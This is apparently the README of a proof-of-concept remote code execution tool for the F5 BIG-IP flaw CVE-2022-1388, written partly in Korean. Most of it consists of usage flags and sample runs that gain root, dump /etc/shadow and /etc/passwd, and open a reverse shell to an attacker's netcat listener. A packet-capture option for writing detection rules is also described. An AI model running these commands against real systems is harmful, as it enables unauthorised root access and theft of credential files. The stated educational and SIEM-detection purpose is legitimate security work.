
-- FOR EDUCATIONAL USE ONLY -- Proof-of-Concept RCE for CVE-2022-1388, plus some added functionality for blue and red teams
저자는 이 프로젝트/저장소의 어떤 측면과 관련하여 취해진 모든 행동에 대해 책임을 지지 않습니다. 저는 이 공격을 이해하고 SIEM 내에서 탐지 규칙을 작성하는 목적으로 이 도구를 만들었으며, 다른 사람들도 동일한 작업을 할 수 있도록 공유하고자 합니다. 사용에 따른 책임은 본인에게 있습니다.
이 익스플로잇은 F5 Systems의 BIG-IP iControl REST 취약점 CVE-2022-1388을 대상으로 합니다. 영향을 받는 버전 및 기타 정보는 F5 권고(https://support.f5.com/csp/article/K23605346)를 참조하십시오.
PR을 보내거나 문제를 보고해 주세요. 이 도구는 CentOS 시스템에서 Python 3.6을 사용하여 Google Cloud의 몇 가지 취약한 F5 VE에서 테스트되었습니다.
CVE-2022-1388.py [-h] -t TARGET -p PORT [-c CMD] [-s] [-e] [-lh LHOST] [-lp LPORT]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET, --RHOSTS TARGET
Target IP of vulnerable BIG-IP system
-p PORT, --port PORT, --RPORT PORT
Target port on vulnerable BIG-IP system
-c CMD, --cmd CMD, --command CMD
Command to run on target system
-e, --export, --tcpdump
Export captured traffic and ssl-key.log | **Requires sudo privileges!
-q, --quiet Don't display banner
-s, --shell Launch an interactive shell
-lh LHOST, --lhost LHOST, --LHOST LHOST
Required for -s [shell]; Local IP/interface to bind listener to
-lp LPORT, --lport LPORT, --LPORT LPORT
Required for -s [shell]; Local port to bind listener to
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c id
===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
===============================================================================================================
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/shadow" -q
root:!!:18656:0:99999:7:::
bin:*:16479:0:99999:7:::
daemon:*:16479:0:99999:7:::
adm:*:16479:0:99999:7:::
lp:*:16479:0:99999:7:::
mail:*:16479:0:99999:7:::
uucp:*:16479:0:99999:7:::
[[ removed for brevity ]]
Attacker:
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -s -lh 10.142.0.8 -lp 4444
===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
===============================================================================================================
[+] If you haven't already, please start your listener of choice on port 4444
[+] Press any key to continue...
[+] Exploit finished. If you launched a reverse shell listener, check there for your terminal!
Listener:
$ nc -lp 4444
bash: no job control in this shell
[@localhost:Active:Standalone] restjavad # whoami
whoami
root
-e (--export) 플래그를 지정하면 detection.pcap과 ssl-key.log라는 두 파일이 생성됩니다. 이 파일들은 -e 플래그를 지정할 때마다 덮어쓰기되므로, 보관하려는 파일은 이동하거나 이름을 변경해야 합니다. ssl-key.log는 Wireshark에서 기본 설정 -> 프로토콜 -> TLS -> (Pre)-Master-Secret 로그 파일 이름으로 가져와 TLS 세션을 복호화할 수 있습니다. tcpdump를 사용하기 때문에 -e 사용 시 스크립트를 sudo로 실행해야 합니다.
$ sudo python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/passwd" -q -e
[+] Starting tcpdump on port 8443 for 5 seconds
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
[[ removed for brevity ]]
TLS 복호화 전:
Wireshark의 TLS 기본 설정에 자동으로 내보낸 ssl-key.log 추가:
TLS 복호화 후:
